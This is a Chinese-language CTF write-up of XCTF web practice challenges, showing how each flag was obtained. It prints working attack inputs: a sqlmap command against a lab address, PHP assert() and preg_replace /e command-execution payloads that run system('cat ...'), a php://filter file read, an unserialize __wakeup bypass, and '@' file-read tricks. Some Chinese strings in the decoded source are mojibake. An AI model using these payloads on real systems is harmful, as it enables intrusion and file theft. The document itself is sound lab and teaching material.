新手練習(xí)區(qū)
view-source

F12得到flag。
get_post

HackBar一把梭。

robots
訪問robots.txt發(fā)現(xiàn)隱藏文件,進(jìn)入該文件獲得flag。

backup


index.php的備份文件應(yīng)該是index.php.bak,訪問一下發(fā)現(xiàn)果然是,用記事本打開下載的文件得到flag。

cookie

看一下請(qǐng)求頭發(fā)現(xiàn)cookie.php

訪問cookie.php,在響應(yīng)頭中有flag。

disabled_button

刪掉那個(gè)disabled,再點(diǎn)擊按鈕就能拿到flag。

simple_js

查看源碼發(fā)現(xiàn)js腳本,直覺感覺下面十六進(jìn)制的才是flag(后來發(fā)現(xiàn)我的直覺果然很準(zhǔn))

把這個(gè)十六進(jìn)制轉(zhuǎn)換一下得到幾個(gè)數(shù)字,數(shù)字ASCII轉(zhuǎn)碼為字符串,加上格式得到flag。

xff_referer

放進(jìn)BurpSuite的Repeater,按照題目要求修改一下請(qǐng)求頭就行。

weak_auth

weak_auth,應(yīng)該是弱密碼。

用戶名admin,密碼123456被我一下就試出來了……
webshell

直接上菜刀:

當(dāng)前目錄下有個(gè)flag.txt,打開就是flag。

command_execution
題目就叫命令執(zhí)行,于是采用管道符連接ip地址和命令。
一番搜索之后在家目錄下發(fā)現(xiàn)了flag的文件,cat命令讀取一下得到flag。

simple_php

代碼:
<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1;
}
if(is_numeric($b)){
exit();
}
if($b>1234){
echo $flag2;
}
?>
要求a不等于0并且轉(zhuǎn)換后等于0,那么根據(jù)PHP弱類型,a可以等于0a。b大于1234數(shù)字又不能是數(shù)字,b可以等于12345%00(%00是空字符)。
payload:?a=0a&b=12345%00
高手進(jìn)階區(qū)
ics-06
很簡(jiǎn)單的題,考察使用burpsuite爆破

進(jìn)去之后隨便點(diǎn)了幾下發(fā)現(xiàn)這么一個(gè)頁面:

送分題?(手動(dòng)滑稽)
發(fā)現(xiàn)url里有個(gè)id,那么應(yīng)該不是SQL注入就是爆破或者是偽協(xié)議讀源碼之類的。一番嘗試之后覺得應(yīng)該是爆破。
于是用BurpSuite抓包之后爆破,payload為2333時(shí)回顯有變化,查看響應(yīng)信息得到flag。


News Center
用sqlmap就能跑出來的SQL注入題
進(jìn)去之后看到一個(gè)搜索頁面,前端還是用的MDUI,233333

一般遇到這種都是SQL注入,看了一下network標(biāo)簽發(fā)現(xiàn)是POST方式提交的search參數(shù),于是上sqlmap
sqlmap -u http://111.198.29.45:34382/ --data="search=1"
接下來就是sqlmap一把梭的事情了。

最后的過程有點(diǎn)慢,但是可以跑出來:

mfw
也是比較簡(jiǎn)單的題,考察的是git源碼泄露和php assert任意命令執(zhí)行

在about頁面找到了這些:

Git?那肯定要上githack了。

看了一下flag.php發(fā)現(xiàn)啥也沒有:

翻了翻源碼,在index.php里發(fā)現(xiàn)了一些可以利用的東西——熟悉的assert()函數(shù):

我在總結(jié)里寫過關(guān)于這個(gè)函數(shù)的知識(shí):
http://www.itdecent.cn/p/5fd1b624fd7a
assert函數(shù)的參數(shù)為字符串時(shí),會(huì)將字符串當(dāng)做PHP命令來執(zhí)行。
例如:assert('phpinfo()')相當(dāng)于執(zhí)行<?php phpinfo() ?>
所以只要用一個(gè)不存在的文件名閉合掉assert函數(shù)并令其等于false,再用system()和strpos()函數(shù)讀一下./templates/flag.php就可以了。
payload:?/page=about.php', '123') === false and system('cat templates/flag.php') and strpos('templates/flag
flag在網(wǎng)頁源代碼里,F(xiàn)12就看到了。
NaNNaNNaNNaN-Batman
前端題,主要是考察對(duì)JavaScript的熟悉程度

下載附件,用VSCode打開,發(fā)現(xiàn)是亂碼,但能看到HTML標(biāo)簽和類似于JavaScript的代碼:

把這個(gè)文件的擴(kuò)展名改為.html,保存,可以稍微看清楚一點(diǎn)(需要VSCode裝插件,就是保存的時(shí)候自動(dòng)把代碼格式化的那種插件,想不起來叫什么了):

從上面的代碼中可以看出“_”是一個(gè)字符串變量,會(huì)用后面的eval()函數(shù)執(zhí)行,其他的因?yàn)槎际莵y碼所以看不出來了。
卡了一段時(shí)間之后忽然想到為什么不能把這個(gè)字符串輸出一下呢?于是把eval改為console.log,可以在console里得到?jīng)]有亂碼的字符串:


得到的字符串是標(biāo)準(zhǔn)的JavaScript代碼,丟進(jìn)VSCode看一下:

簡(jiǎn)單來說就是經(jīng)過一系列正則匹配之后執(zhí)行一部分代碼,但是既然我們有了要執(zhí)行的代碼,那還管正則匹配干什么呢,直接把需要執(zhí)行的那部分扔到console里執(zhí)行一下就可以了。

flag到手。
PHP2
考察.phps源碼泄露、URL二次編碼繞過
一開始我也沒明白這個(gè)題是什么意思,看了大佬的wp才知道是有.phps源碼泄露:
phps文件就是php的源代碼文件,通常用于提供給用戶(訪問者)查看php代碼,因?yàn)橛脩魺o法直接通過Web瀏覽器看到php文件的內(nèi)容,所以需要用phps文件代替。其實(shí),只要不用php等已經(jīng)在服務(wù)器中注冊(cè)過的MIME類型為文件即可,但為了國際通用,所以才用了phps文件類型。
訪問index.phps得到源碼:

看源碼就可以知道這個(gè)是很簡(jiǎn)單的URL二次編碼繞過,所以payload:?id=ad%256din
flag到手。

unserialize3
繞過魔法函數(shù)sleep()和wakeup()的反序列化漏洞

題目名叫unserialize3,那應(yīng)該是跟反序列化有關(guān)的題目。
看一下源碼,出現(xiàn)了__wakeup()這個(gè)魔法函數(shù):

unserialize()執(zhí)行時(shí)會(huì)檢查是否存在一個(gè)wakeup()方法。如果存在則先調(diào)用wakeup()方法,預(yù)先準(zhǔn)備對(duì)象需要的資源。wakeup()經(jīng)常用在反序列化操作中。sleep()則相反,是在序列化一個(gè)對(duì)象的時(shí)候被調(diào)用。
這個(gè)漏洞的核心是:序列化字符串中表示對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)會(huì)跳過__wakeup()的執(zhí)行。
將題目中的類序列化得到結(jié)果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

簡(jiǎn)單解釋一下這個(gè)字符串:
O代表結(jié)構(gòu)類型為類,4表示類名長(zhǎng)度,然后是類名、成員個(gè)數(shù)。
大括號(hào)內(nèi)的值是:屬性名類型、長(zhǎng)度、名稱;值類型、長(zhǎng)度、值。
如果我們把傳入序列化字符串的屬性個(gè)數(shù)改成比1更大的值,就不會(huì)觸發(fā)__wakeup()方法,進(jìn)而得到flag。
payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Cat
個(gè)人感覺比較綜合也比較難的題目,考察的是url編碼和django的知識(shí)

打開網(wǎng)頁發(fā)現(xiàn)是一個(gè)ping功能,但是輸入正常的用戶名沒有反應(yīng),輸入ip地址有反應(yīng):


本來因?yàn)轭}目名叫cat,又是ping,以為是命令執(zhí)行,但是嘗試了|、&等都報(bào)錯(cuò),提示Invalid URL??磥眍}目的本意并不是命令執(zhí)行。
看了網(wǎng)上一個(gè)大佬的wp才知道這個(gè)是跟Django有關(guān)的。網(wǎng)站本身是用PHP寫的,但是可能有Django的組成部分。
在url里傳參%80報(bào)錯(cuò)(URL編碼是0~127,80的十六進(jìn)制是128自然報(bào)錯(cuò)),從報(bào)錯(cuò)信息的目錄結(jié)構(gòu)可以知道這個(gè)是Django的項(xiàng)目:


其他的沒什么信息,又去看了看大佬的wp,發(fā)現(xiàn)這個(gè)原來還需要用PHP的@前綴:
全部數(shù)據(jù)協(xié)議使用HTTP協(xié)議中的POST操作來發(fā)送。要發(fā)送文件,在文件名前加上@前綴并使用完整路徑……
根據(jù)Django的目錄特性,用@進(jìn)行文件傳遞,對(duì)文件進(jìn)行讀取之后將內(nèi)容傳給url參數(shù),如果有錯(cuò)誤信息就可以得到回顯,進(jìn)而取得更多錯(cuò)誤信息、幫助我們拿到flag。
先看看settings.py:
payload: ?url=@/opt/api/api/settings.py
找到數(shù)據(jù)庫文件的存放位置:

看看這個(gè)文件:
payload: ?url=@/opt/api/database.sqlite3
搜索CTF得到flag。
ics-05
進(jìn)去之后隨便點(diǎn)點(diǎn)發(fā)現(xiàn)了這個(gè):

page=index,那應(yīng)該可以用偽協(xié)議讀出源碼。
payload:page=php://filter/read=convert.base64-encode/resource=index.php
源碼到手,base64解碼一下:
<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>è???¤???′??¤??-???</title>
<meta charset="utf-8">
</head>
<body>
<ul class="layui-nav">
<li class="layui-nav-item layui-this"><a href="?page=index">?o‘?13??°è???¤???′??¤??-???</a></li>
</ul>
<fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
<legend>è???¤???—è?¨</legend>
</fieldset>
<table class="layui-hide" id="test"></table>
<script type="text/html" id="switchTpl">
<!-- è??é????? checked ???????€???a??ˉ??”?¤o -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="??€|?
3" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script>
layui.use('table', function() {
var table = layui.table,
form = layui.form;
table.render({
elem: '#test',
url: '/somrthing.json',
cellMinWidth: 80,
cols: [
[
{ type: 'numbers' },
{ type: 'checkbox' },
{ field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
{ field: 'name', title: 'è???¤????', templet: '#nameTpl' },
{ field: 'area', title: '??o???' },
{ field: 'status', title: '??′??¤????€?', minWidth: 120, sort: true },
{ field: 'check', title: 'è???¤???€?
3', width: 85, templet: '#switchTpl', unresize: true }
]
],
page: true
});
});
</script>
<script>
layui.use('element', function() {
var element = layui.element; //?ˉ?è?a???hover???????€??o??o§è??????-‰???è?????é?€è|????èμ–element?¨???—
//??‘????ˉ?è?a??1???
element.on('nav(demo)', function(elem) {
//console.log(elem)
layer.msg(elem.text());
});
});
</script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//?–1???????????°è?“?
¥è?“??o??????è??,?-£??¨??€??‘??-??????è???????aè????
é?¨?oo?‘??μ?èˉ?
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
</body>
</html>
發(fā)現(xiàn)了危險(xiǎn)函數(shù)preg_replace(),存在命令執(zhí)行漏洞。
preg_replace( pattern , replacement , subject ) : 當(dāng)pattern指明/e標(biāo)志時(shí) ,preg_replace()會(huì)將replacement部分的代碼當(dāng)作PHP代碼執(zhí)行 (簡(jiǎn)單的說就是將replacement參數(shù)值放入eval()結(jié)構(gòu)中)
payload:/index.php?pat=/test/e&rep=phpinfo()&sub=test,這里還需要一個(gè)XFF繞過(至于為什么請(qǐng)看源碼),可以用BurpSuite的Repeater來測(cè)試:

最終拿到flag的payload:/index.php?pat=/test/e&rep=system('cat%20./s3chahahaDir/flag/flag.php')&sub=test:
Triangle
進(jìn)去之后先讀一波JavaScript源碼,源碼的格式比較亂,可以用Chrome自帶的代碼格式化功能格式化一下:
util.js
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
secret.js
function test_pw(e, _) {
var t = stoh(atob(getBase64Image("eye")))
, r = 4096
, m = 8192
, R = 12288
, a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
a.reg_write_i32(uc.ARM_REG_R9, m),
a.reg_write_i32(uc.ARM_REG_R10, R),
a.reg_write_i32(uc.ARM_REG_R8, _.length),
a.mem_map(r, 4096, uc.PROT_ALL);
for (var o = 0; o < o1.length; o++)
a.mem_write(r + o, [t[o1[o]]]);
a.mem_map(m, 4096, uc.PROT_ALL),
a.mem_write(m, stoh(_)),
a.mem_map(R, 4096, uc.PROT_ALL),
a.mem_write(R, stoh(e));
var u = r
, c = r + o1.length;
return a.emu_start(u, c, 0, 0),
a.reg_read_i32(uc.ARM_REG_R5)
}
function enc_pw(e) {
var _ = stoh(atob(getBase64Image("frei")))
, t = 4096
, r = 8192
, m = 12288
, R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM);
R.reg_write_i32(uc.ARM_REG_R8, r),
R.reg_write_i32(uc.ARM_REG_R9, m),
R.reg_write_i32(uc.ARM_REG_R10, e.length),
R.mem_map(t, 4096, uc.PROT_ALL);
for (var a = 0; a < o2.length; a++)
R.mem_write(t + a, [_[o2[a]]]);
R.mem_map(r, 4096, uc.PROT_ALL),
R.mem_write(r, stoh(e)),
R.mem_map(m, 4096, uc.PROT_ALL);
var o = t
, u = t + o2.length;
return R.emu_start(o, u, 0, 0),
htos(R.mem_read(m, e.length))
}
function get_pw() {
for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++)
_ += String.fromCharCode(e[o3[t]]);
return _
}
unicorn.js是一個(gè)JavaScript框架的源碼,暫時(shí)不去管它。
我們把get_pw()在console里執(zhí)行一下得到返回值:

執(zhí)行enc_pw和test_pw得到返回值:
enc_pw: \x08\x00\xa0\xe1\x09\x10\xa0\xe1\x0a\x20\xa0\xe1\x00\x30\xa0\xe3\x00\x50\xa0\xe3\x00\x40\xd0\xe5\x01\x00\x55\xe3\x01\x00\x00\x1a\x03\x60\x03\xe2\x06\x40\x84\xe0\x06\x40\x84\xe2\x01\x50\x04\xe2\x00\x40\xc1\xe5\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x30\x83\xe2\x02\x00\x53\xe1\xf2\xff\xff\xba\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3
test_pw: \x09\x00\xa0\xe1\x0a\x10\xa0\xe1\x08\x30\xa0\xe1\x00\x40\xa0\xe3\x00\x50\xa0\xe3\x00\xc0\xa0\xe3\x00\x20\xd0\xe5\x00\x60\xd1\xe5\x05\x60\x86\xe2\x01\xc0\x04\xe2\x00\x00\x5c\xe3\x00\x00\x00\x0a\x03\x60\x46\xe2\x06\x00\x52\xe1\x05\x00\x00\x1a\x01\x00\x80\xe2\x01\x10\x81\xe2\x01\x40\x84\xe2\x03\x00\x54\xe1\xf1\xff\xff\xba\x01\x50\xa0\xe3\x00\x00\xa0\xe3\x00\x10\xa0\xe3\x00\x20\xa0\xe3\x00\x30\xa0\xe3\x00\x40\xa0\xe3\x00\x60\xa0\xe3\x00\x70\xa0\xe3\x00\x80\xa0\xe3\x00\x90\xa0\xe3\x00\xa0\xa0\xe3\x00\xc0\xa0\xe3
直接轉(zhuǎn)換得到的是亂碼,卡了一會(huì)兒后才發(fā)現(xiàn)js源碼中出現(xiàn)了“ARM”,同時(shí)Unicorn.js里也有不少“ARM”:

百度了一下發(fā)現(xiàn)是一種CPU,并找到一個(gè)十六進(jìn)制與ARM代碼的轉(zhuǎn)換器:http://armconverter.com/hextoarm/
把text_pw和enc_pw得到的十六進(jìn)制字符串去掉前面的\x并用轉(zhuǎn)換器轉(zhuǎn)換一下,得到以下匯編代碼:
enc_pw:
MOV R0, R8
MOV R1, SB
MOV R2, SL
MOV R3, #0
MOV R5, #0
LDRB R4, [R0]
CMP R5, #1
BNE #0x28
AND R6, R3, #3
ADD R4, R4, R6
ADD R4, R4, #6
AND R5, R4, #1
STRB R4, [R1]
ADD R0, R0, #1
ADD R1, R1, #1
ADD R3, R3, #1
CMP R3, R2
BLT #0x14
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R5, #0
MOV R6, #0
MOV R7, #0
MOV SB, #0
MOV SL, #0
test_pw:
MOV R0, SB
MOV R1, SL
MOV R3, R8
MOV R4, #0
MOV R5, #0
MOV IP, #0
LDRB R2, [R0]
LDRB R6, [R1]
ADD R6, R6, #5
AND IP, R4, #1
CMP IP, #0
BEQ #0x34
SUB R6, R6, #3
CMP R2, R6
BNE #0x54
ADD R0, R0, #1
ADD R1, R1, #1
ADD R4, R4, #1
CMP R4, R3
BLT #0x18
MOV R5, #1
MOV R0, #0
MOV R1, #0
MOV R2, #0
MOV R3, #0
MOV R4, #0
MOV R6, #0
MOV R7, #0
MOV R8, #0
MOV SB, #0
MOV SL, #0
MOV IP, #0
完全不懂匯編的本渣渣表示徹底懵了,難道Web和逆向都精通才是未來的趨勢(shì)嗎???
這其實(shí)是道逆向題。(霧)
于是只好去搜了wp,發(fā)現(xiàn)上面的匯編碼用Python寫是這樣的:
enc_pw:
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
test_pw:
def test_pw(s, t):
for i, (c, d) in enumerate(zip(s, t)):
c, d = ord(c), ord(d)
c += 5
if i & 1:
c -= 3
if c != d:
return 0
return 1
解密腳本:
import string
def enc_pw(s):
res = ''
f = 0
for i, c in enumerate(s):
c = ord(c)
if f == 1:
c += i & 3
c += 6
f = c & 1
res += chr(c)
return res
encrypted = 'XYzaSAAX_PBssisodjsal_sSUVWZYYYb'
flag = ''
for i, c in enumerate(encrypted):
c = ord(c)
c -= 5
if i & 1 != 0:
c += 3
for d in string.printable:
if enc_pw(flag + d)[i] == chr(c):
flag += d
break
print flag
跑一下這個(gè)腳本得到flag。flag沒有格式。
大佬的wp:https://st98.github.io/diary/posts/2017-10-25-hacklu-ctf-2017.html